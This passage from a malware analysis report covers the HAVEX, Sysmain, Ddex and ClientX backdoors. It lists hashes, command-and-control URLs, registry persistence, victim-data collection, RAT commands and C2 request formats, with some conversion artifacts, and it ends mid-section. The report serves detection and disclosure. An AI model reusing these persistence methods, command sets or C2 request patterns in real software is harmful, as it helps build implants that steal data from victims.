SHA-256: b8514bff04e8f4e77430202db61ec5c206d3ec0f087a65ee72c9bb94a058b685
Size: 327168
Compiled: Mon, 17 Feb 2014 09:35:14 UTC
C2 URLs: adultfriendgermany.com/wp-includes/pomo/source.php
adultfrienditaly.com/wp-includes/pomo/src.php
adultfriendfrance.com/wp-includes/pomo/src.php

HAVEX version 043

SHA-256: 69b555a37e919c3e6c24cfe183952cdb695255f9458b25d00d15e204d96c737b
Size: 437760
Compiled: Tue, 01 Apr 2014 10:59:19 UTC
C2 URLs: electroconf.xe0.ru/modules/mod_search/mod_search.src.php
sinfulcelebs.freesexycomics.com/wp05/wp-admin/includes/tmp/tmp.php
rapidecharge.gigfa.com/blogs/wp-content/plugins/buddypress/bp-settings/bp-settings-src.php

SHA-256: 101e70a5455212b40406fe70361995a3a346264eabd4029200356565d2bacd6a
Size: 458752
Compiled: Tue, 01 Apr 2014 10:59:19 UTC
C2 URLs: sinfulcelebs.freesexycomics.com/wp05/wp-admin/includes/tmp/tmp.php
rapidecharge.gigfa.com/blogs/wp-content/plugins/buddypress/bp-settings/bp-settings-src.php

SHA-256: d5687b5c5cec11c851e841d40af3ef52607575487a70224f63458c24481076c
Size: 437248
Compiled: Fri, 11 Apr 2014 05:37:36 UTC
C2 URLs: sinfulcelebs.freesexycomics.com/wp05/wp-admin/includes/tmp/tmp.php
rapidecharge.gigfa.com/blogs/wp-content/plugins/buddypress/bp-settings/bp-settings-src.php

HAVEX version 044

SHA-256: 1ef47da67f783f8cc8cda7481769647b754874c91e0c666f741611dec878c19
Size: 438394
Compiled: Wed, 07 May 2014 12:35:16 UTC
C2 URLs: sinfulcelebs.freesexycomics.com/wp05/wp-admin/includes/tmp/tmp.php
rapidecharge.gigfa.com/blogs/wp-content/plugins/buddypress/bp-settings/bp-settings-src.php

SHA-256: 358da2c5bb5fbd9c9cf791536054bbb387ce37253c31555f5afa544f38de2a3f
Size: 422499
Compiled: Wed, 07 May 2014 12:35:16 UTC
Notes: file is corrupted

SHA-256: 4b547b3992838cfb3b61cb25f059c0b56c2f7caaa3b894dbc20bf7b33dad5a1
Size: 473092
Compiled: Thu Jun 2 23:39:34 2011 UTC
C2 URLs: www.iamnumber.com/modules/boonex/specialnumber/tmp.php
disney.freesexycomics.com/wp10/wp-includes/pomo/idx.php
solaed.ru/modules/mod_search/source.php
III. Appendix 3: The Sysmain backdoor – detailed analysis

Detailed analysis of first identified sample of SYSMAIN RAT. The sample set contains two variants.

File metadata analyzed variant

SHA-256: d5e3122a263d3f66dca7c2fed25c2b8a3be725b2c934fa9d9ef4c5aefbc6cb9
MD5: 418bfc05240ec86b91181f38bd751ccb
Verdict: Trojan.Win32.Sysmain.c
Size: 131584
Compiled: Fri, 14 Dec 2012 17:50:05
Type: DLL
C2 urls: 8bs.org/wp-content/plugins/akismet/iddx.php
agu-inyaz.com/awstats/icon/flags/src.php
hajaj-center.com/moon/fancybox/fancy_source.php
www.ferma.az/incfiles/classes/iddx.php

File metadata second variant

SHA-256: a8e6abaa0ddc34b9db6bda17b502be7f802fb880941ce2bd0473fd9569113599
MD5: 875b0702ef3cc2d909ef720bb4079c2
Verdict: Trojan.Win32.Sysmain.e
Size: 133152
Compiled: Wed, 12 Jun 2013 09:31:14
Type: DLL
C2 urls: ojoobo.com/modules/search/search.php
giant99.com/system/modules/SMTP/class.src.php
antibioticsdrugstore.com/err/log/source.php
www.sinfulcomicsite.com/wp03/wp-includes/pomo/src.php

Other sysmain samples:

SHA-256: 31488632f5f7d3ec0ea82eab1f9baba16826967c3a6fa141069ef5453b1eb95
Verdict: Trojan.Win32.Sysmain.e
Size: 133152
Compiled: Mon, 08 Apr 2013 21:41:53 UTC
C2 urls: www.sinfulcomicsite.com/wp03/wp-includes/pomo/src.php
www.christian-vedder.de/media/system/tmp/_tfpl.php
blog.olioboard.com/wp-content/plugins/akismet/src.php
mobitel.az/source/tmp/sdwrfq.php

SHA-256: 53d2a3324f276f29c749727c20708a3421a5144046ce14a8e025a8133316e0ac
Verdict: Trojan.Win32.Sysmain.b

Size: 145440
Compiled: Thu, 07 Jun 2012 08:40:54 UTC
C2 urls: warteam.freetzi.com/wp-includes/pomo/idx.php
jetc.com/illegal_access_folder/source.php
www.eth-inc.com/new/moduls/source.php
crm.mayanks.in/include/tcpdf/config/source.php

SHA-256: 81e5e73452aa8b14f6c6371af2dccb720a32fadfc032b3c8d96f9cdaab9e9df
Verdict: Trojan.Win32.Sysmain.e

Size: 133152
Compiled: Thu, 21 Mar 2013 18:51:53 UTC
C2 urls: 7adharat.com/forum/includes/search/log_search.php
buythepill.net/cart/checkout/set/sidx.php
sico.ueuo.com/engine/modules/src.php
medpunkt.biz/includes/core/source.php

SHA-256: dc75404b6fc8cdb73258c2cc7bc758347ff4237c8d18222f3489dc303da989
Verdict: Trojan.Win32.Sysmain.d

Size: 144991
Compiled: Thu, 27 Oct 2011 04:59:50 UTC
C2 urls: lankaranfc.com/360/resources/lankeran.php
aikidogroup.com/anjoman/inc/plugins/scoll.php
sico.ueuo.com/engine/modules/src.php

SHA-256: 387d4ea82c51ecda162a3fffd68a3aca5a21a20a46dc08a0ebe51b03b7984abe9
Verdict: Trojan.Win32.Sysmain.e

Size: 133223
Compiled: Fri, 16 Aug 2013 06:14:30 UTC
C2 urls: www.sinfulcomicsite.com/wp03/wp-includes/pomo/src.php
giant99.com/system/modules/SMTP/class.src.php
www.christian-vedder.de/media/system/tmp/_tfpl.php
antibioticsdrugstore.com/err/log/source.php

Exports

RunDllEntry

Installer:
- Copies itself to %APPDATA%\sydmain.dll
- Call RunReg (see below)
- Call AGTwLoad if binary not installed already

AGTwLoad
- Initializes the malware and starts C2 communication
- Create internal Victim-ID: "$\text{victim-id}='HKCU/Identities/Default User ID'+'-18890)'$
  - example1: {8B01CFB5-FF66-4404-89E2-27E06475EA38}-18890} (query for 'HKCU/Identities/Default User ID' was successful)
  - example2: {AD-18890} (query for 'HKCU/Identities/Default User ID' was NOT successful)
- Create Mutex: "$\text{victim-id}\$
- Add itself to %PATH%
- Call RunReg (see below)
- Call GPI (see below)
- Create another Victim-ID: "$\text{victim-id2}='HKCU/Identities/Default User ID'+'-01890)'$
  - example1: {8B01CFB5-FF66-4404-89E2-27E06475EA38}-01890} (query for 'HKCU/Identities/Default User ID' was successful)
  - example2: {ED-01890} (query for 'HKCU/Identities/Default User ID' was NOT successful)
- Open Mutex $\text{victim-id2}$ and create remote thread in corresponding process for C2 communication

GPI

Initializes the key infrastructure in registry and generates an external Victim-ID:
- Generate random Victim-ID
  - 'HKCU/Identities/Default User ID' + '-' + $\text{currentCursorPos} + '-' + $\text{currentPID}+'-TUS'
  - If query for 'HKCU/Identities/Default User ID' was NOT successful: 'AUTO' + $\text{stringOfRandomInteger} + '-' + $\text{currentCursorPos} + '-' + $\text{currentPID}+'-TUS'
- Setup crypt key infrastructure with keys in registry (valid for both variants)

Keys (stored in "Software\Microsoft\Internet Explorer\InternetRegistry\SNLD")

('prv') - used to decrypt incoming c2-communication

\[
\text{db } \text{"AATnkDHDlO+cOi/6zqUvoaA2DbfTyIoP8y1+Q5MxLfmzeQFgJvkh/dHDjghFl5p2"}
\]
\[
\text{db } \text{"naTmm9y61AQ2JZptFfW1WvQ6a8sipU62z094YwwqtThm+0cit1fP4NyEm79c9Qok"}
\]
\[
\text{db } \text{"0S4wG9+87/9FFLbZG9h0DNBTjWDqyoyQF6Hy7r0ty/nwAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
\text{db } \text{"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
\]
\[
AGTwRec:

Gathers victim information and stores it in an encrypted XML-like-file in %TEMP%
The path to this file is saved in registry (XORed with 0x05)

Software\Microsoft\Internet Explorer\InternetRegistry\SNLD, sN \(N:= [0,x]\)

external Victim-ID generated in GPI

Username

Computername

Country

Language

Nation

Type of Internet connection

Current IP

Drive information

Default browser

Process list

Listing of files in User-Profile-Directory

SendThisFile

Encrypts arbitrary file with “pub”-key and save it to local dropzone (%temp%) as sN \(N:= [0,x]\)
RenameExecute

Renames itself and its startup-entry in registry

RunReg

Creates startup-entry in registry

`Software\Microsoft\Windows\CurrentVersion\Run, load="%PathToRundll32% %appdata%\sydmain.dll, AGTwLoad"`

SharedRegistry:

Used at install, adds itself to %PATH%

BD:

Encodes string with base64 using crypt32.dll, CryptBinaryToStringA
Flags: (CRYPT_STRING_BASE64,CRYPT_STRING_NOCRLF)

UB:

Encodes string with base64 using crypt32.dll, CryptBinaryToStringA
Flags: (CRYPT_STRING_BASE64)

CF:

Encrypts file with given key (called by non-public file-encryptor using “pub”-key)

OF:

Decrypts string with given key (called by non-public c2-communicator using “prv”-key)

VD:

Encrypts string with given key (called by non-public c2-communicator using “pubm”-key)

RAT Commands used by attacker

•  “exe”: execute file sent from c2
• “dll”: load dll sent from c2
• “get”: read file from disk, encrypt (with “pub”-key) and save it to local dropzone, filename in registry under sN
• “dir”: not fully implemented or prefix of next command
• “rec”: save directory listing and save it to local dropzone, filename in registry under sN
• “cer”: replace “pub”-key in registry (used for c2-communication)
• “srv”: manipulates a nN and/or pN-entry in registry
• “lst”: deletes nN and Pn-entries in registry, creates new nN and pN-entries
• “cmd”: execute shell-command (via cmd.exe)
• “rcp”: gather victim data (calls AGTwRec)
• “cls”: delete registry entries

Exemplary registry entries:

Path: HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\SNLD

• ID: Unique bot-id (see above)
• prv: priv key (encrypt msg c2)
• pubm: pub key (decrypt msg from c2)
• pub: pub key (file encryption)
• nN: random data
• pN: random data
• sN: XOR(5)-encrypted path (unicode) of (encrypted) files containing collected victim-data or dumped files form hdd

For entries nN, pN, sN → N:= [0,x]
IV. Appendix 4: Ddex loader – detailed analysis

Binaries metadata

<table>
<thead>
<tr>
<th>SHA-256</th>
<th>Size</th>
<th>Compiled</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>3094ac9d2eeb17d4cda19542f816d15619b4c3fec52b87fdfcd923f4602d827b</td>
<td>24576</td>
<td>Mon, 18 Oct 2010 08:13:57 UTC</td>
<td>contains additional “print” export, which calls the main malware function without creating a thread</td>
</tr>
<tr>
<td>7a115335c971ad4f15af10ea54e2d3a6db08c73815861db4526335b81ebde253</td>
<td>14296</td>
<td>Thu, 28 Oct 2010 11:29:05 UTC</td>
<td>practically identical to 7a11...</td>
</tr>
<tr>
<td>76b272828c68b5c6d3693809330555b5a1a6a8bda73228c8edc37afca78a21d6</td>
<td>13312</td>
<td>Thu, 28 Oct 2010 11:29:05 UTC</td>
<td>practically identical to 7a11...</td>
</tr>
<tr>
<td>377a9c610cc17bbf19470b1a3f847b74e0f56d4f4fd57a3298c630dab403acea</td>
<td>15360</td>
<td>Wed, Nov 24 2010 09:47:09 UTC</td>
<td>practically identical to 7a11...</td>
</tr>
</tbody>
</table>

All binaries have basically the same functionality - they serve as downloaders for other malicious code.

Code flow:

- Check / create mutex "(6757)"
- Check if it’s run by ddex.exe or explorer.exe; if not, create remote thread in explorer.exe memory, which loads %TEMP%\Low\~tmppnet.dll
- Set the autorun value:
  
  HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows
  Load="%TEMP%\Low\ddex.exe"
- Create a remote thread in explorer.exe, which loads %TEMP%\Low\ddex.exe
- Get some data from first <br> tag after UTC string in the file returned by www.thetimenow.com/
index.cgi/?loc=258

• Get systime and write it to %TEMP\Low\-ntp.tmp
• Get windows version
• Look for malicious data by sending following request to the specified URLs:
  
  http://kitexgarments.com/ext/index2.php?t=%s&o=%s&i=%s&task_id=%s
  
  http://creloaded.com/ext/index2.php?t=%s&o=%s&i=%s&task_id=%s
  
  http://10bestsearch.com/ext/index2.php?t=%s&o=%s&i=%s&task_id=%s

  [t = base64 encoded time string / o = os version / i = data from thetimenow.com or NULL / task_id = content of ~task.tmp or string “done”]

Example request:

/ext/index2.php/?t=MjAxNDEyNzE0NQ==&o=XP_SP3&i=&task_id=done

Host information at the time of analysis:

kitexgarments.com
resolves to 66.39.134.254,
alive
GET request to specified file returns “<XAML></XAML>”

creloaded.com
resolves to 174.37.240.18,
alive,
GET request to specified file returns 404

10bestsearch.com
resolves to 195.16.89.46,
alive,
GET request to specified file returns 404

Headers:

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.59 Safari/534.3
Accept: text/xml
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: no
Connection: Keep-Alive
• If the string “<XAML></XAML>” is in the returned HTML code, exit; otherwise:
  • Read content that is between tags <I6></I6> and write it to the file %TEMP%\Low\~task.tmp
  • Read content that is between tags <B6></B6>, xor it with 0x0A and write it to the %TEMP%\Low\~ldXXXX.TMP file, then load this file to the memory
V. Appendix 5:
The ClientX backdoor – detailed analysis

The ClientX backdoor binaries were found in an open directory on one of the C2 servers. They consist of two .NET files. One of them is called client.exe, which is the main malware component. The second is library.dll, which provides functions to client.exe.

Compiled on: Mon Mar 04 13:23:46 2013
File size: 81 920 bytes
SHA256: D449AEDACCA27E61B8FAF0E40C29C53ED565E23ED64B6F5528287B547BD2

The client.exe file has built-in debug messages, but the binary was compiled as a GUI application. By editing the PE header, it is possible to change it back to console, and see real time debug messages as the malware operates:

Here is what is displayed upon execution:

  Sleep 10 seconds
  One instance
  upd cleaner
  upd cleaner done
  main loop
  settingcheck
  RegleDir
  RegleDir done
  run-work
  LM no error
  LM no error
  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
  run-work done
  work
  run-work done 2
  BOTID
  settingcheck done°
  ANSWER
  0
begin work
end work
LOOP END

**Code flow:**

Upon execution, client.exe starts by sleeping for 10 seconds. It then creates a Mutex called “clientX” to check whether other instances of the malware are already running. If no other instance of the malware is found, it will write “One instance” and continue execution. Otherwise, it will print out “More than one instance” and terminate.

Immediately after creating the Mutex the “cleaner” method is called. (Debug message: “upd cleaner”). This method looks for all executables in the current folder and deletes files with names that do not match some file property criteria.
This is used to delete older versions of the RAT after a successful update (See the commands UPD later described in this appendix)

**5.1. Main loop**

The backdoor then starts the main loop, which is an infinite while loop. (Debug message: “main loop”).

**5.1.1 Setting check**

Some settings are checked by the backdoor. (Debug message: “setting check”) The Settings Check method from the check class is used.

**5.1.2 RegIeDir**

After the debug message “RegIeDir”, the following registry key is opened “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer” and the subkey “InternetRegistry” is checked. If not found, a subkey is created. That part is closed by a debug message: “RegIeDir done”.

**5.1.3 Run-work**

The “run-work” debug message indicates that the malware is gathering two registry keys for later use. There is a structure named “prSettings” with the following fields:

```c
public struct prSettings
{
```
public string[] servers;
public string id;
public int timeout;
public string pub;
public string priv;
public RegistryKey KeyRun;
public RegistryKey KeyWork;
}

The last two fields “prSettings.KeyRun” and “prSettings.KeyWork” are the one filled by “run-work”.

“KeyRun” will hold “SOFTWARE\Microsoft\Windows\CurrentVersion\Run”, either from “HKEY_LOCAL_MACHINE” or “HKEY_CURRENT_USER” depending on access rights.

“KeyWork” will hold “SOFTWARE\Microsoft\Windows\CurrentVersion”, either from “HKEY_LOCAL_MACHINE” or “HKEY_CURRENT_USER” depending on access rights.

The “CheckAccessLM” and “CheckAccessCU” methods check for access to Local Machine and Current User, respectively.

If the LOCAL MACHINE isn’t accessible the following error message is displayed “LM error: error reason”, otherwise “LM no error”.

If the CURRENT MACHINE isn't accessible the following error message is displayed “CU error: error reason”, otherwise “CU no error”.

If for some reason, neither “SOFTWARE\Microsoft\Windows\CurrentVersion” from Local Machine nor Current User is accessible, the following “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\InternetRegistry” will be used for “KeyWork”.

Once the registry keys are identified, the debug message “run-work done” is displayed.

The malware prints both KeyRun and Keywork and continues execution.
A subkey is added to KeyRun to automatically start the malware when Windows reboots.
The name of that subkey comes from the “version information” entry of the resource section where the internal and original file name can be found.
The full path of the malware is set and the malware can now survive reboot. The debug message “work” is displayed.

5.1.4 Run-work done 2

The next step focuses on the Keywork registry key. The following subkeys are checked and created if not present in Keywork\[name_from_version_information] : “done”, “doneEXT”, “work”, “settings” and “servers”.

They hold not any value at this point. This part is ended by a debug message: “run-work done 2”

5.1.5 Generating BotID and filling subkeys

Immediately after checking for special subkeys, the IDget method is called. If the “id” subkey doesn’t exist, the method IDset is called and a new BOTID is created and stored as a Base64 encoded string.

Afterwards, the IDget method is called and the BOTID is Base64 decoded from the registry and saved for later use in prSettings.id.

It does the same for “prSettings.priv”, “prSettings.pub”, “prSettings.timeout” and “prSettings.servers”, each time checking whether a value is already set, and creating one if not.

The developers made a mistake. The “prSettings.priv” is set using the IDget method instead of the KeyPrivGet method. However, this makes little difference since KeyPubGet, KeyPrivGet and IDget are wrappers to the GenerateID methods. This could have introduced a serious flaw if those parameters were used in a secure scheme:

Correct for Pub:

```java
if (this.KeyPubGet(prSettings.KeyWork) == null)
    this.KeyPubSet(prSettings.KeyWork);
prSettings.pub = this.KeyPubGet(prSettings.KeyWork);
```

Incorrect for Priv:

```java
if (this.KeyPrivGet(prSettings.KeyWork) == null)
    this.KeyPrivSet(prSettings.KeyWork);
prSettings.priv = this.IDget(prSettings.KeyWork);    <--- mistake
```
Once it is done filling the prSettings structure, the debug message “settingcheck done” is displayed.

5.2 Network communication - AnsSend

The next method called by our trojan is “AnsSend”. It stands for “Answer Send”. It starts with the debug message “ANSWER”.

This part of the code looks into the registry, specifically into the “KeyWork\[name_from_version_information]\done” and doneEXT subkeys to see if there is anything ready to be posted to the C&C server. Those subkeys should be empty at this stage, since the Answers are only created after a task received from the C&C server is completed.

Should answers be available, their numbers would be printed as a debug message and processed and the following would be displayed as a debug message:

ANSWER
1 (meaning one answer)
Connecting post: HTTP:\C&C server with botID as parameter
8 (size of answer * 2 as it is converted to unicode)
reqstream
wrote to stream

This essentially does a POST request to the C&C server using the BOTID and the following User Agent: “Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0”
On the C&C server side, a new file would be created named after the BOTID with the extension “.ans”.

Here is an example of such a file:

```
<xd data="xx-0x-2014 13:37:00' u='Base64_encoded_C&C_address'>N B - R u L e Z</xd>
```

The date of the post can be found, the base64 encoded C&C server and the unicode string Answer, modified in this example.

This is how the attackers get an answer (result) from a given task.

5.3 Network communication - WorkReceive

The WorkReceive function essentially does a GET request on the C&C server in order to receive a task to complete on the infected computer. The task to execute is encrypted and base64 encoded
and returned between the “havex” tags. Here is an example without any task between the tags:

```html
</body><html>
</body>
```
5.5.3 TIM

The TIM command is responsible for updating the Timeout parameter in the registry. The command finds where the KeyWork is located and updates the Time out with the parameter provided to the command.

5.5.4 UPD

